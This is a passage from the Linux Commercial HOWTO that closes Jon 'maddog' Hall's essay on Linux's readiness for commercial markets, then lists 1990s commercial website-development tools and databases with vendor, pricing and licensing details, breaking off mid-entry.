For those of you who hate reading long articles, or who are short on time, let me give you my conclusion right now. Then you can go out and drink beer or other fun activities:

``Yes, Linux is ready for the commercial market...in some cases''.

In order for an operating system to be ready for the mass market it must have several attributes:

  • have lots of applications
  • be relatively easy to install
  • have lots of applications
  • be relatively easy to maintain
  • have lots of applications
  • be relatively easy to use
  • have lots of applications
  • not crash (much)
  • have lots of applications
  • be economical
  • have lots of applications

But you can eliminate all of these considerations in today's mass market if only one thing is true:

You have lots of applications.

after all, there would not be 170,000,000 DOS systems in the world if any of the others had to be true.

I almost added that is has to be economical, but history has actually proven me wrong on that. If people added up the total cost of ownership, then Apple would certainly have won over the PC. But people ignore the human costs of someone else (or even themselves) beating their head against the wall trying to get something to work, or the system crashing repeatedly, or the fact that the one keystroke they can hit the easiest (through practice) is

        <CTRL><ALT><DEL>
In the old days people were content to spend several hundreds of dollars on a simple ASCII text editor, or deal with a simple spreadsheet. And it took an act of mangement to get them, with lots of Purchase Orders. Today, they want multi-media integrated with their operating system, and have all the applications available that their neighbor (or boss, or compatriot) has available on their system. And they want to get these applications easily, certainly no harder than to call up on the phone to order them through a catalog, or go down to their corner store to get them.

Now what causes this plethora of applications for an operating system? Ease of programming? Good software development tools? Features inside the operating system? Stability of the interfaces over time?

The answer is ``none of these''. While all these attributes may help convince an application developer to port, the one overriding issue is volume of the operating system platform. Again, if MSDOS were compared to MacOS, or even to UNIX and volume were not taken into account, we know which two operating systems would have the most applications, and they would not be from Microsoft.

While it is true that several Linux vendors are working on getting these applications for the mass market (read this " your mother and father"), the number of applications that run on Microsoft platforms have been estimated as high as 35,000. SunOS has an estimated 10,000 applications, with other `commercial UNIX'' systems (including Solaris 2.x) much lower in number. It will take the Linux vendors a long time to get the number of applications necessary to hit the really large mass market, particularly if they did not depend on iBCS2 and DOS/Windows compatibility (which could supply a fair number of current applications), but depended on ``native'' Linux applications.

So applications are king (and queen) for the mass market, and installed base (volume) or the promise of explosive growth (volume) is the key to these. But is the mass market the only ``commercial'' market? The answer is ``no''. The mass market is a subset (albeit very large one) of the commercial market. So let's look at what the rest of the commercial market needs. We will look at this by segmenting the market into:

  • turnkey systems
  • large end-user customers
  • specialized markets

5.1 Turnkey systems

When I speak of turnkey systems I typically mean a computer system that has one specific (or not so specific) application that runs on it. Examples of turnkey systems are point-of-sale terminals, reservation systems, CAD systems, etc. But in a larger sense, other applications such as Web servers, nameservers (such as BIND), etc. could also be considered ``turnkey'', since they have only a few necessary programs that have to run on the system.

Usually turnkey systems are ones that an Independent Software Vendor (ISV) or Value Added Reseller (VAR) will chose a hardware system, an operating system, port an application to it, then duplicate that system 500 to 1000 times without change to the basic application. These ISVs and VARs will try to chose the lowest cost solution to fit their customer's needs.

Linux is perfect for these types of applications. The operating system is stable enough for the developer to port their application and test the application fully. Once it is fully tested and stable, the entire package is ``frozen'' and duplicated any number of times for the end customer.

Since the operating system may be freely copied, and it runs on inexpensive hardware, their variable costs are minimal. Even a developer who is not familiar with the Linux system (so they need help getting it running on a platform) will quickly pay back the porting and system programmer costs they accrue by not paying $200-$500. per license for the operating system. Plus they have all the source code for the entire system, in case they run into trouble later on. You can buy a lot of Linux support for $200-$500K.

As I said before, I include Internet Service Providers (ISPs) as part of this ``turnkey'' environment, for both external internet and internal internet. Why overload your expensive, high-powered, highly complex general-purpose server to do Web serving when a smaller, simpler box can offload it? Why not run your NIS slaves on a Linux box? Or perhaps your BIND server?

In the early days of Digital UNIX (known then as DEC OSF/1) we did not have very many applications. In fact we had none. The marketing staff came to me with sad faces asking if it was possible to sell an operating system that had no applications. I invented a term called ``Turbocharging'', which allowed a Digital UNIX system using the speed and power of the Alpha processor (as well as the throughput of our networking devices) to offload NIS, NFS, BIND and other services from people's overloaded, slower SPARC machines. We also showed people how they could use the rsh(1) command to allow the Alpha to do a portion of their very CPU intensive processing while delivering the result back to the SPARCs on their desk. This allowed the SPARCs to work more on applications and less on the other ``system administration'' tasks that they were performing. We sold lots of Digital UNIX systems based solely on executing those tasks. Today, of course, Digital UNIX has a lot more applications, and particularly very large memory databases that are extremely fast. But the same principle applies. The database engine runs on the Alpha system, supplying data to the slower SPARC engines as a ``Turbocharger''. I could see Linux systems headed in the same direction, following the same path.

5.2 Large end-user customers

Very large customers often have their own home-grown applications which they need to deploy across a wide network of people. Or they can have management dictate a certain suite of applications, which then can be ported to Linux. Since these customers are so large, their operating system costs are huge, and utilizing the savings using the Linux operating system they may completely cover the expenses of porting their software.

Or these very large customers may ``influence'' their layered product providers to port to the Linux platform. Finally, they may even change some of their computing habits (to use existing programs) if the cost savings are enough to warrant it.

Companies like Caldera are creating a suite of applications and approaching these very large customers to show them the operating system savings that they can achieve if they switch to Linux. While it is true that every application the customer could ever conceive of running may not run on Linux, by using the native applications, the iBCS2 applications, the DOSEMU applications, and applications that run under WABI, a nice suite of applications could be built to solve their needs.

5.3 Specialized markets

Finally there are what I call ``specialized markets''. Markets that might buy Linux simply because it is Linux, and not because of the application suites that it provides.

In the education field there are three main markets:

  • administrative
  • ``campus computing''
  • computer science education

The administrative part is the ``business'' aspect of the market. They are looking for easy-to-use systems that can also handle complex administrative tasks that might cover a community the size of a small city.

The ``campus computing'' is the supply of computing power and service for majors of all types, web services and research into non-computer science (for example, molecular modeling) research.

Finally there is computer science education, both on the undergraduate and graduate level, as well as research into computer science.

While the administrative sub-market typically relies more on shrink-wrapped applications, the other two rely on them to a lesser extent (with the computer science education market relying the least). The other two markets can utilize a lot more of the freeware and shareware applications that are already ported to Linux. This gives them a very low-cost (from a software perspective) platform while allowing them to see and (often) modify the source code for the applications they use.

More importantly, in the computer science research area, the results of the research can be freely distributed to others working in the field, or even published as source code to illustrate the results. This can not be done with ``commercial'' operating systems.

Some universities are utilizing Linux more and more to run their campus. From a ``commercial'' standpoint, their needs are the same as many large businesses. Students graduating from college will know about Linux, and bring the word to their future employers.

Finally, there is the computer hobbyist and software developer market. I relate this market to the amateur radio market. In the amateur radio market the radio is often used to simply talk to other people, but at the same time the users investigate new ways of using radio, and improving it. Many electrical engineers started out as amateur radio users. So it can be with Linux, since for the first time both the prices of the hardware and the prices of the operating system source code are within the reach of mortal people.

In conclusion, I feel that Linux does have the items needed for several types of ``commercial'' uses:

  • stability and quality
  • low variable costs for turnkey applications
  • explosive growth in volume to attract ISVs

What Linux really needs is for the ``commercial'' community to understand what is going on, and to embrace it where it will be useful. This will increase the volume numbers even more, which will attract more applications.

Along these lines I would like to ``advertise'' a joint effort of USENIX and Linux International to happen in January of 1997 in Anaheim, California of the United States. There will be a joint USENIX/Linux development conference, and while a certain part of the Linux conference will be oriented towards the development of the Linux operating system, the bulk of the conference will be oriented towards application developers and marketing people, to better understand the Linux operating system and how to sell their applications and services into the Linux market. We hope to show ISVs, VARs, resellers and distributors how they can make money by selling their applications and services on top of the Linux operating system.

5.4 Biography

Jon ``maddog'' Hall is a Senior Leader in the Digital Equipment Corporation UNIX group. He has been in the computer industry for twenty-five years, UNIX for sixteen years and has guided the emergence of six operating systems, including Alpha Linux. He has an MS in Computer Science.


Linux Commercial HOWTO: Website Development

 Next Previous Contents

6. Website Development

6.1 ASWedit, HTML editor

Description:

ASWedit is a commercial, comprehensive and easy to use HTML and text editor for X Window System and Motif. It offers three independent modes: a plain text editing mode and two context-sensitive, validating modes for authoring of HTML documents as used on the Internet and Intranets. The two HTML modes are: standard and experimental.

Distribution media:

3.5" diskettes, 4-mm DAT, 1/4" and 8mm tapes, Internet (FTP).

Licensing policy:

Per machine basis. The number of users that can run the software on the licensed computer is unlimited.

A version of the program, called asWedit, is available for free for students and staff in education and charitable non-profit organizations, and for free evaluation by individuals and commercial organizations. It is available via FTP from many archives. See http://www.advasoft.com/asWedit.html for details.

OS provisions:

Linux 1.2.13 or higher (ELF), X11R6, Motif 2.0 (not required if the statically linked version is used), 5 MB of RAM, 1.5-3.5 MB hard disk usage.

Documentation:

Printed documentation, online help, language: User's Guide (44 pages), HTML 3.2 extended, Reference Manual (89 pages), HTML 3.2 experimental, Reference Manual (106 pages). Online, context sensitive, hypertext help - 560 KB. Localized resource files are available for the following languages: English (default), Czech, Danish, Dutch, French, German, Polish, Portuguese, Spanish and Swedish. Commands and messages are localized for each language but the online help and documentation are only available in English.

Product support:

The license includes free product upgrades by FTP for a period of one year.

Extra features and add-ons:

Can work with external Unix filters. Highly customizable. Supports four different browsers for previewing.

Available since:

July, 1995.

Countries with distribution:

World wide.

Price range:

US$149. Quantity discounts are available.

Vendor:

AdvaSoft Ltd.

30 Hatch Road
London SW16 4PN
England

Phone:

+44 181 251 0033

Fax:

+44 181 251 0011

EMail:

as@advasoft.com

URL:

http://www.advasoft.com

Contact:

Andre Stochniol

Last modified:

August 30, 1997.

6.2 Empress DataWEB

Description:

Empress DataWEB allows users to easily and rapidly build dynamic, interactive, database-fed web applications. No special programming language needs to be learned; developers of applications simply can use HTML with the Empress extensions for accessing the RDBMS.

Distribution media:

CD-ROM.

Licensing policy:

Please contact vendor for evaluation copies.

OS provisions:

16 MB of RAM; 60 MB harddisk space (additional requirements: web browser required).

Documentation:

Online help.

Product support:

Full technical support available, priced separately.

Extra features and add-ons:

Extra features such as an HTTP server and other tools to facilitate the creation of web applications come with the software package.

Available since:

April, 1996.

Countries with distribution:

World wide.

Price range:

Please contact vendor.

Vendor:

Empress Software Inc.

6401 Golden Triangle Drive
Greenbelt, MD 20770
U.S.A.

3100 Steeles Avenue East
Markham, ON L3R 8T3
Canada

Phone:

+1 301 220 1919 (USA), +1 905 513 8888 (Canada)

Fax:

+1 301 220 1919 (USA), +1 905 513 1668 (Canada)

EMail:

sales@empress.com

URL:

http://www.empress.com

Contact:

Dick Naedel

Last modified:

August 4, 1997.

6.3 EZ-EDIT

Description:

EZ-EDIT is an online HTML editor, which allows users to completly manage their web site through a web browser (edit, create, upload, rename/move/copy, create and remove directories)! EZ-EDIT is the only editor which features the "File Filter" which allows you to specify what file types are allowed on your system. Create the look you want by editing EZ-EDIT's 16 template files with over 80 tags. Also allows you to set disk space limits! Supports form based file uploads, also includes a Java page creater. All administration is also done through a web browser.

Distribution media:

3.5" diskettes, Internet (FTP and WWW).

Licensing policy:

A free demo is available from our web site. Demo version is unlocked to full version with registration key.

OS provisions:

Linux/Intel.

Documentation:

Online HTML user and admin manuals (English only).

Product support:

Update service, support (via EMail).

Available since:

September 17, 1997.

Countries with distribution:

World wide.

Price range:

US$149.95.

Vendor:

Relative Web

P. O. Box 351
Saylorsburg, PA 18353-0351
U.S.A.

Phone:

+1 610 381 3072

Fax:

+1 610 381 3072

EMail:

ez-edit@relative-web.com

URL:

http://www.relative-web.com/dynamic/ez-edit/

Contact:

John Bergeron

Last modified:

October 6, 1997.

6.4 LinkScan

Description:

LinkScan operates on Unix an NT servers on both Internets and Intranets, LinkScan can test over 40,000 links per hour because it is the only link checker that uses multi-threaded simultaneous processing. LinkScan has been tested on web sites with over 45,000 pages and more than 80,000 links. LinkScan also produces two revolutionary types of maps of web sites. LinkScan's SiteMap enables the user to produce a site map that includes every link on a web site arranged in a hierarchical format that resembles a book's table of contents. LinkScan's TapMap is an expandable and collapsible site map that allows viewers to tap down through the various and multiple levels of a web site to quickly and easily navigate and explore the web site by tapping on a few control icons.

Distribution media:

Internet (WWW).

Licensing policy:

A license is required for each server on which the product is used. Free evaluation copies of LinkScan may be downloaded from our web site.

OS provisions:

Requires Perl 5 or higher.

Documentation:

Complete documentation and a comprehensive FAQ may be read at our web site and/or downloaded.

Product support:

This product is continuously updated and maintained. Prompt responses to all inquiries and problems via EMail or telephone as required. No fees for support.

Available since:

January 7, 1997.

Countries with distribution:

World wide.

Price range:

US$495.

Vendor:

Electronic Software Publishing Corporation

1504 #8-00200 Main Street
Gardnerville, NV 89410-5273
U.S.A.

EMail:

ken@elsop.com

URL:

http://www.elsop.com

Contact:

Ken Churilla

Last modified:

November 6, 1997.

6.5 TalentSoft Web+ (WebPlus)

Description:

TalentSoft Web+ is a development tool dedicated to developing web-based client/server applications without writing low level CGI programs. Web+ enables rapid and easy creation of highly functional web pages which integrates with databases, file systems, EMail, Java applets, your legacy applications (EXEs, DLLs), and communicates with other TCP/IP applications using sockets. Web+ works with all popular web severs, databases, and operating systems and integrates closely with Netscape web servers via NSAPI and CGI. Web+ also acts as a multi-threaded web middleware that integrates the web servers with databases, EMail, TCP/IP sockets, and other applications. Please check out the "Teach Me Web+" link on our web site for the coolest interactive tutorial with hands on exercises. We are proud to be the first to provide dynamic code interpretation on the Internet! Now you may start writing and running your own web application without buying or installing Web+.

Distribution media:

3.5" diskettes, CD-ROM and Internet (FTP and WWW).

Licensing policy:

Free evluation copy available at http://www.TalentSoft.com. Trial out version notices displayed by will not time out.

OS provisions:

16 MB RAM, 5 MB HD.

Documentation:

Both printed documentation (about 200 pages) and HTML online help. English only.

Product support:

Free EMail, web+ conference, and phone support. Training available for a fee.

Available since:

May 1, 1997.

Countries with distribution:

USA, UK, Hong Kong, China, Singapore.

Price range:

US$195 to $1295.

Vendor:

TalentSoft / Talent Information Management, LLC.

900 Nicollet Mall, Suite 700
Minneapolis, MN 55402
U.S.A.

P.O. Box 2997
Minneapolis, MN 55402
U.S.A.

Phone:

+1 612 338 8900

Fax:

+1 612 904 0010

EMail:

info@TalentSoft.com

URL:

http://www.TalentSoft.com

Contact:

Victor Tong, Ian Gorrie, Jeff Persche, Tony Tong

Last modified:

August 8, 1997.

6.6 VirtuFlex 1.1

Description:

VirtuFlex 1.1 is a web application builder for adding dynamic functionality to a web site. VirtuFlex provides the power to transform web sites into live applications by integrating databases, fax, EMail and pagers with the web. VirtuFlex provides sophisticated functionality that can be added to web sites by any HTML developer. VirtuFlex is reusable, modular, easy to use, high performance and provides DB connectivity almost any database. The componenets of VirtuFlex are a macro language, macro processor, DB server and pre-built template packs.

Distribution media:

Internet (WWW).

Licensing policy:

VirtuFLex is licensed on a per domain basis. A free evaluation copy is available on our web site.

OS provisions:

Linux ELF binary format (1.2.x kernels or higher). VirtuFlex runs on standard Unix workstations with 8 MB of RAM minimum, 16 MB recommended.

Documentation:

Available for download from our web site, English.

Product support:

Basic support four hours. Other support options available - call for details.

Extra features and add-ons:

Pre-built Template-Paks come free with VirtuFlex for shopping carts, threaded discussion groups, database application builder, quizzes and surveys, web spiders and banner rotators. Additional Template-Paks are added on a regular basis.

Available since:

1996.

Countries with distribution:

World wide through UniDirect, Soft Export and the Internet.

Price range:

US$995, educational discounts available.

Vendor:

VirtuFlex Software Corp.

930 Massachusetts Avenue
Cambridge, MA 02139
U.S.A.

Phone:

+1 617 497 8006

Fax:

+1 617 492 0486

EMail:

comments@virtuflex.com

URL:

http://www.virtuflex.com

Contact:

Dan Housman

Last modified:

March 17, 1997.

6.7 Visual prolog

Description:

One of the worlds strongest prolog development environments.

Distribution media:

CD-ROM and Internet (WWW).

Documentation:

Manuals supplied on CD-ROM, online help and intro.html lots of examples.

Product support:

EMail based.

Available since:

1984.

Countries with distribution:

World wide.

Vendor:

Prolog Development Center

H.J. Holstvej 3-5A
DK-2605 Broendby
Dankmark

Phone:

+45 36 72 10 22

Fax:

+45 36 72 02 69

EMail:

sales@pdc.dk

URL:

http://www.pdc.dk

Contact:

Claus Witfelt <witfelt@pdc.dk>

Last modified:

November 28, 1997.

6.8 Web Crossing

Description:

Online conferencing server for the Intranet and Extranet and world wide web providing discussion forums and chat rooms. Web Crossing is a groupware application server, accessible with any web browser, via most web servers. It makes communication more efficient and productive than newsgroups or EMail mailing lists.

Distribution media:

Internet.

Licensing policy:

commercial; fully-functional demo available.

Price range:

US$995, unlimited users.

Vendor:

Lundeen & Associates

P.O. Box 2900
Alameda, CA 94501
U.S.A.

Phone:

+1 510 521 5855

Fax:

+1 510 522 6647

EMail:

sales@lundeen.com

URL:

http://webcrossing.com

Last modified:

August 16, 1997.

6.9 ThreadTrack and WebTailor from Webthreads.

Description:

ThreadTrack and WebTailor are lightweight browser and server independent CGI script packages, developed under Linux, that add state to web servers. ThreadTrack is used for tracking the activity of individual visitors to a web site, and WebTailor is used to dynamically modify the content of a web site in response to a visitor's profile or actions.

WebTailor uses a simple server-side scripting language to modify the site's content. The language, targeted to non-technical web designers, is easy to learn and use. For the more technical, the CGI interface has been expanded to enable parameter passing on a per visitor basis between scripts running on different pages.

ThreadTrack tags individual visitors to a web site with a unique identifier that remains with them for their visit. Each visitor's session is recorded click-by-click, so a database of aggregate and individual activity is available for reports. Comprehensive reporting is included, and the data (dBase III) is easily transferrable to custom reporting packages.

Distribution media:

Internet (WWW).

Licensing policy:

30 Day fully functional eval available from http://www.webthreads.com

OS provisions:

Any version of Linux on x86, a.out and ELF.

Documentation:

Web site and online provided with the package.

Product support:

EMail support.

Extra features and add-ons:

Msql interface. Registration site management addition.

Available since:

June, 1996.

Countries with distribution:

World wide.

Price range:

ThreadTrack starts at US$295. WebTailor starts at US$895.

Vendor:

Webthreads, L.L.C.

1919 Gallows Road, 10th floor
Vienna, VA 22182
U.S.A.

Phone:

+1 703 848 9027

Fax:

+1 703 848 2444

EMail:

info@webthreads.com

URL:

http://www.webthreads.com

Contact:

Gavin Sutcliffe

Last modified:

March 18, 1997.


Linux Commercial HOWTO: Databases

 Next Previous Contents

7. Databases

7.1 c-tree Plus

Description:

Based on advanced B+tree (balanced) algorithm, c-tree Plus API handles all aspects of database I/O. Program single user or multi-user non-server applications royalty free and migrate existing c-tree Plus applications to the FairCom Server by recompiling.

Distribution media:

3.5" diskettes and CD-ROM.

Licensing policy:

c-tree Plus is licensed on a per programmer basis. Single-user, multi-user and multi-user non-server royalty-free distribution. Contact FairCom for possible restrictions: general purpose database and application development systems prohibited.

OS provisions:

3 MB hard drive space; 128 KB of RAM.

Documentation:

Printed manuals distributed with product; full online documentation with CD-ROM, available in English and Japanese.

Product support:

Three months of full technical support from purchase date. Unlimited technical support and product updates available thereafter with c-tree Plus maintenance program.

Available since:

October, 1995.

Countries with distribution:

World wide.

Price range:

US$895 includes source.

Vendor:

FairCom

4006 W. Broadway
Columbia, MO 65203-0100
U.S.A.

Phone:

+1 573 445 6833

Fax:

+1 573 445 9698

EMail:

Faircom@faircom.com

URL:

http://www.faircom.com

Contact:

Tamra Brown <tami@faircom.com>

Vendor:

FairCom Europe

Via Patrioti 6
I-24021 Albino
Italy

Phone:

+39 35 773 464

Fax:

+39 35 773 806

EMail:

Europe@faircom.com

Vendor:

FairCom Japan

Ikeda Bldg. #3 4F, 112-5
Komei-chou, Tsu-city MIE 514
Japan

Phone:

+81 059 229 7504

Fax:

+81 059 249 723

Vendor:

FairCom do Brasil Ltda.

Phone:

+55 11 3872 9802

Fax:

+55 11 3862 1752

EMail:

Brazil@faircom.com

Last modified:

August 7, 1997.

7.2 Empress

Description:

Empress for Linux is a multimedia RDBMS for members of the rapidly growing Linux developer community. Key components of the package include the powerful Empress RDBMS as well as dynamic SQL, Empress 4GL, Empress GUI Builder for rapidly developing graphical front-ends to Empress applications, a WWW HTML toolkit, and a grahical point and click interface to the Empress RDBMS development environment. A streamlined, single-user version of this product, Personal Empress for Linux, is available also.

Distribution media:

3.5" diskettes.

Licensing policy:

Free demos are available via FTP. Must contact vendor.

OS provisions:

Empress GUI Builder requires OSF Motif version 1.2.4 or 2.0. 16 MB RAM. 80 MB Disk Space. 486 CPU or better.

Documentation:

Printed documentation.

Product support:

Full technical support available, priced separately.

Extra features and add-ons:

Other features which are components of the package include shared libraries, shared memory, math library functions and a C language interface.

Available since:

December, 1995.

Countries with distribution:

World wide.

Price range:

Product is priced by number of concurrent users. Please contact vendor.

Vendor:

Empress Software Inc.

6401 Golden Triangle Drive
Greenbelt, MD 20770
U.S.A.

3100 Steeles Avenue East
Markham, ON L3R 8T3
Canada

Phone:

+1 301 220 1919 (USA), +1 905 513 8888 (Canada)

Fax:

+1 301 220 1919 (USA), +1 905 513 1668 (Canada)

EMail:

sales@empress.com

URL:

http://www.empress.com

Contact:

Dick Naedel

Last modified:

August 4, 1997.

7.3 Essentia

Description:

Database Engine.

Some Features: Remote databases, client/server, automatic consistency check, incremental backup, mirroring, shadowing, distributable database, journaling, versions, RISE, object oriented DBMS, implements relational model three tier client/server architecture, cooperative servers, language independent user-configurable (English, Spanish, Portuguese).

Distribution media:

4/8 mm. DAT, 150/525 MB tape. Academic version available from:

  • ftp://ftp.inter-soft.com
  • http://www.inter-soft.com/html/products/essentia

Licensing policy:

Commercial. Free version for Linux available.

OS provisions:

10 MB disk space.

Documentation:

Available in PostScript and HTML.

Product support:

Contact essentia-info@inter-soft.com for more information.

Extra features and add-ons:

SQL Server, ODBC Interface for Windows, JDBC Interface, User servers.

Available since:

1993.

Countries with distribution:

Argentina, Brazil, Russia, Mexico, Venezuela and USA.

Price range:

Linux version for free (with some restrictions). Other prices available on request.

Vendor:

InterSoft Argentina S.A.

Córdoba 883 9th. Floor
Capital Federal (1054)
Argentina

Phone:

+54 1 318 8900

Fax:

+54 1 318 8997

EMail:

info@inter-soft.com

URL:

http://www.inter-soft.com

Last modified:

August 4, 1997.

7.4 FairCom Server

Description:

High performance, multi-threaded, transaction processing server. Features include: industrial quality transaction processing, including full commit and rollback; intermediate save points and complete logging; automatic log management; restart/disaster recovery; user passwords; access security and online administration; deadlock detection/resolution; read/write locks at the record/individual key level; more.

Distribution media:

3.5" diskettes and CD-ROM.

Licensing policy:

The FairCom Server is licensed on a per machine basis. Contact FairCom for specific licensing questions.

OS provisions:

2 MB of RAM.

Documentation:

Printed manuals distributed with product; full online documentation with CD-ROM, available in English and Japanese.

Product support:

Three months of full technical support from purchase date. Unlimited technical support and product updates available thereafter with Server maintenance program.

Available since:

October, 1995.

Countries with distribution:

World wide.

Price range:

US$445-$6795 depending upon platform and number of users. Special licensing and OEM agreements available.

Vendor:

FairCom

4006 W. Broadway
Columbia, MO 65203-0100
U.S.A.

Phone:

+1 573 445 6833

Fax:

+1 573 445 9698

EMail:

Faircom@faircom.com

URL:

http://www.faircom.com

Contact:

Tamra Brown <tami@faircom.com>

Vendor:

FairCom Europe

Via Patrioti 6
I-24021 Albino
Italy

Phone:

+39 35 773 464

Fax:

+39 35 773 806

EMail:

Europe@faircom.com

Vendor:

FairCom Japan

Ikeda Bldg. #3 4F, 112-5
Komei-chou, Tsu-city MIE 514
Japan

Phone:

+81 059 229 7504

Fax:

+81 059 249 723

Vendor:

FairCom do Brasil Ltda.

Phone:

+55 11 3872 9802

Fax:

+55 11 3862 1752

EMail:

Brazil@faircom.com

Last modified:

August 7, 1997.

7.5 INFORMIX-SE

Description:

INFORMIX-SE is an SQL-based database engine for small- to medium-range applications. It is the ideal solution for businesses that want the power of SQL without complex database administration requirements. With over a decade of proven reliability, INFORMIX-SE has a strong track record among Unix database servers.

INFORMIX-ESQL/C: Productivity, flexibility, portability, and standards are what programmers can achieve with the use of INFORMIX-ESQL for C. Developers can continue to use these familiar third-generation languages (3GLs) for developing applications and gain the advantage of using SQL to access data from those applications. Developers don't have to build their own database functions saving development time and effort.

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

Free development license. Runtime Licenses must be purchased separately. Information on both is available at http://www.informix.com/informix/solutions/linux/lx.html.

OS provisions:

The database server process requires 1.2 MB to run, and can be installed with 6 MB of disk space.

Documentation:

Online manuals.

Product support:

Annual technical support and software maintenance contracts.

Extra features and add-ons:

TBD.

Available since:

July 22, 1998.

Countries with distribution:

World wide.

Price range:

To go along with your free development license, Informix offers attractively priced maintenance contracts through Informix-Assurance: http://www.informix.com/informix/services/csp/assurance/assurance.htm

Vendor:

Informix Software, Inc.

EMail:

sales@informix.com, http://www.informix.com/cgi-bin/contact.pl

URL:

http://www.informix.com

Last modified:

September 21, 1998.

7.6 Just Logic/SQL

Description:

Relational Database Management System

Distribution media:

3.5" diskettes.

Licensing policy:

Unlimited runtime included.

Documentation:

Printed manual, examples.

Product support:

EMail, fax or phone.

Extra features and add-ons:

  • client-server option: lets run applications on several computers running Windows or Linux, that access a central database on a Linux system.
  • web-enabling option: passthrough between an HTTP Web server and a Just Logic/SQL database. No C or Perl required. SQL commands are embedded directly within HTML files. Compatible with Netscape, Apache, NCSA and all other CGI-compliant HTTP servers.

Available since:

1993.

Countries with distribution:

World wide.

Price range:

US$149-$395.

Vendor:

Just Logic Technologies

P.O. Box 63050, 40 Commerce Street
Nun's Island, Montreal, QC H3E 1V6
Canada

Phone:

+1 514 761 6887

Fax:

+1 514 642 6480

EMail:

sales@justlogic.com

URL:

http://www.justlogic.com

Contact:

Luc Vallieres

Last modified:

August 5, 1997.

7.7 KE Texpress

Description:

KE Texpress is a high-speed client server database engine that supports object-oriented, relational and free text data structures and operations. It is particularly suited to applications with large data sets, complex operations and large numbers of concurrent users. KE Texpress is used for a wide variety WWW database applications. Vertical applications include collections management, library systems, vital statistics, archives, text retrieval and records management.

Distribution media:

Internet (FTP and WWW) and tape.

Licensing policy:

Commercial product licensed by number of concurrent users. A 30 day free trial is available at our web site.

OS provisions:

Linux ELF and a.out libraries. Requires about 30 MB disk space. Runs on over 20 other varieties of Unix and Windows NT.

Documentation:

Printed and HTML documentation is available.

Product support:

Annual technical support (EMail, fax and phone) and software maintenance contracts.

Extra features and add-ons:

  • Texhtml WWW module - publish KE Texpress databases on the web
  • Texql - SQL-like structured query language
  • TexAPI - applications programming interface with client libraries for Windows (C, C++ and VB), Unix and Macintosh System 7
  • TexODBC - ODBC drivers for Windows

KE Software has an extensive consulting service assisting clients to develop KE Texpress database applications.

Available since:

1984.

Countries with distribution:

USA, Canada, Australia, Hong Kong, Japan and Malaysia.

Price range:

US$2,000 to $100,000+.

Vendor:

KE Software Inc.

303-601 West Broadway
Vancouver, BC V5Z 4C2
Canada

Phone:

+1 604 877 1960

Fax:

+1 604 877 1961

EMail:

info@kesoftware.com

URL:

http://www.kesoftware.com

Contact:

Andrzej Kowalski

Last modified:

August 4, 1997.

7.8 Qddb

Description:

Qddb is fast, powerful and flexible database software that runs on Unix. Some of its features include: Tcl/Tk programming interface, easy to use, you can have a DB application completely up and, running in about 5 minutes, using nxqddb. CGI interface for quick and easy online databases and guestbooks. Fast, and powerful searching capability. Report generator. Barcharts and graphs. Mass mailings with EMail, letters and postcards.

Distribution media:

3.5" diskettes, tape and Internet (FTP and WWW).

Licensing policy:

GNU and Commercial versions available.

OS provisions:

GNU version comes with source code. Binary packages available for Linux, FreeBSD, and BSD/OS(BSDI) --- RPM and buildkit format.

Documentation:

Online documentation and PostScript files available. Printed manuals also available upon request.

Product support:

User and programmer support available along with upgrade contracts.

Extra features and add-ons:

Tcl/Tk programming interface, CGI interface, report generator, many useful free and commercial applications built with Qddb.

Available since:

1996.

Countries with distribution:

World wide.

Price range:

See http://www.hsdi.com/orders

Vendor:

Herrin Software Development, Inc.

41 South Highland Avenue
Prestonsburg, KY 41653
U.S.A.

Phone:

+1 606 886 8202

Fax:

+1 606 277 3239

EMail:

info@hsdi.com

URL:

http://www.hsdi.com

Contact:

Eric Herrin

Last modified:

November 4, 1997.

7.9 Raima Database Manager++

Description:

Low-level high performance database engine with C API and C++ class library, for embedding in applications. This database is used in thousands of leading commercial applications. Includes source for C++ class library that encapsulates database navigation and object storage and retrieval into C++ classes, adding an object-oriented interface. Supports multiple database models, including relational, network model, and combined.

Distribution media:

3.5" diskettes and tape.

Licensing policy:

Pay for development license, distribute runtime copies freely.

Documentation:

Extensive documentation available from Raima Corporation, dealing with all aspects of database, C API and C++ class library.

Product support:

Available from Raima Corporation on annual basis, raining available.

Extra features and add-ons:

Windows GUI Report Writer.

Available since:

1984, originally called db_VISTA.

Countries with distribution:

Direct in the USA, use distributors internationally - Germany, England, France, Italy, Spain, Netherlands, Russia, Estonia, Argentina, Columbia, Singapore, Malaysia, Australia, Finland, Taiwan, other countries.

Price range:

RDM++ Database Module is US$995 for single user, US$2,395 for multi-user. System is US$1,395 for single user, US$3,395 for multi-user (System includes RDM++ database, QUERY SQL query tool and REVISE database restructuring tool). All versions available with source code for extra cost.

Depends on machine class; lowest is US$3,995 without system utilities; US$6,195 with system utilities.

Vendor:

Raima Corporation

4800 Columbia Center
701 5th Avenue
Seattle, WA 98104

Phone:

+1 800 327 2462, +1 206 515 9477

Fax:

+1 206 748 5200

EMail:

sales@raima.com

URL:

http://www.raima.com

Contact:

Dave Morse

Last modified:

March 18, 1997.

7.10 Empress Embedded RDBMS

Description:

The Empress Embedded RDBMS is an embedded systems developer's toolkit. The RDBMS engine is fast, compact and easy-to-embed. Additionally, this package possesses superior bulk object handling capabilities. Embedded Empress RDBMS is Internet ready with a JDBC/ODBC bridge available.

Distribution media:

3.5" diskettes.

Licensing policy:

Please contact vendor for evaluations copies.

OS provisions:

32 MB of RAM, 60 MB disk disk space.

Documentation:

Printed documentation.

Product support:

Full technical support available, priced separately.

Extra features and add-ons:

Extra features included with the toolkit are Empress Report Writer and enhanced Internet capabilities (ability to use Java applets, etc.) via the HTML toolkit.

Available since:

January, 1997.

Countries with distribution:

World wide.

Price range:

Starting at US$1000 for PCs, US$4000 for typical workstations, US$16,000 for mid-range servers.

Vendor:

Empress Software Inc.

6401 Golden Triangle Drive
Greenbelt, MD 20770
U.S.A.

3100 Steeles Avenue East
Markham, ON L3R 8T3
Canada

Phone:

+1 301 220 1919 (USA), +1 905 513 8888 (Canada)

Fax:

+1 301 220 1919 (USA), +1 905 513 1668 (Canada)

EMail:

sales@empress.com

URL:

http://www.empress.com

Contact:

Dick Naedel

Last modified:

August 4, 1997.

7.11 SOLID Server

Description:

SOLID Server is a database engine for new applications and products. It is extremely easy to set up, and has a small footprint. SOLID Server is standards-compliant and full of power. It is perfectly suited for distributed use in countless copies. Its maintenance is care-free, requiring minimal or no administrator attention.

Distribution media:

3.5" diskettes and Internet (FTP and WWW).

Licensing policy:

Copy-protected.

OS provisions:

